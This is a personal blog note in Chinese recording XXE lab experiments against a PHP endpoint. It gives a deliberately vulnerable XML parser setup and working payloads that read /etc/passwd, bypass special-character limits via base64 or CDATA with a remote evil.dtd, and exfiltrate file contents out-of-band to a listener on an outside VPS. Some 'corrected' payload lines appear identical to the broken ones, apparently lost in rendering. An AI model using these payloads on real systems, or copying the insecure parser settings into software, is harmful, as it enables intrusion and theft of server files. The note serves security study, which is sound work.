很早的博客笔记,简书记下,避免丢失。
https://zzqsmile.github.io/2019/08/19/web安全/XXE/XXE/
好记性不如烂笔头,关于XXE还是要记录下自己的学习过程,以后看起来会更清楚,详细原理不再多讲,简单做个实验记录下笔记以便使用。
实验环境
web服务器:10.12.10.198
VPS: 107.182.30.95
实验一:有回显读本地敏感文件(Normal XXE)
web服务器放置解析XML的php代码:
示例代码
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>
结果如下:
读取文件种可能会有特殊符号如&
,<
,>
,"
,'
等会导致读取失败,比如下面读取含有特殊字符文件2.txt失败:
废话不多说,解决办法有两种:
第一种:将读取文件使用base64编码
即可
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> ]>
<creds>&goodies;</creds>
结果如下:
第二种:将读取数据放在CDATA
标签中输出进行绕过
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///2.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://107.182.30.95/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
服务器上放置evil.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
结果如下:
注意:读取文件时候要注意文件以及文件夹权限问题,否则会读取失败,记录下遇到的这个坑吧,在这浪费了不少时间,烧脑~
实验二:无回显读取本地敏感文件(Blind OOB XXE)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
此处需要注意,因为实体值中不能有%
,故需要将%
转成%
或者%
,即正确写法如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
或者:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://107.182.30.95:9999/?p=%file;'>">
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://107.182.30.95/test.dtd">
%remote;%int;%send;
]>
在服务器监听端口,发送payload结果如下:
以上就是XXE基本利用方式总结笔记,当然XXE的危害还有很多,由于时间原因,暂不记录。
VPS已废,就不打码了。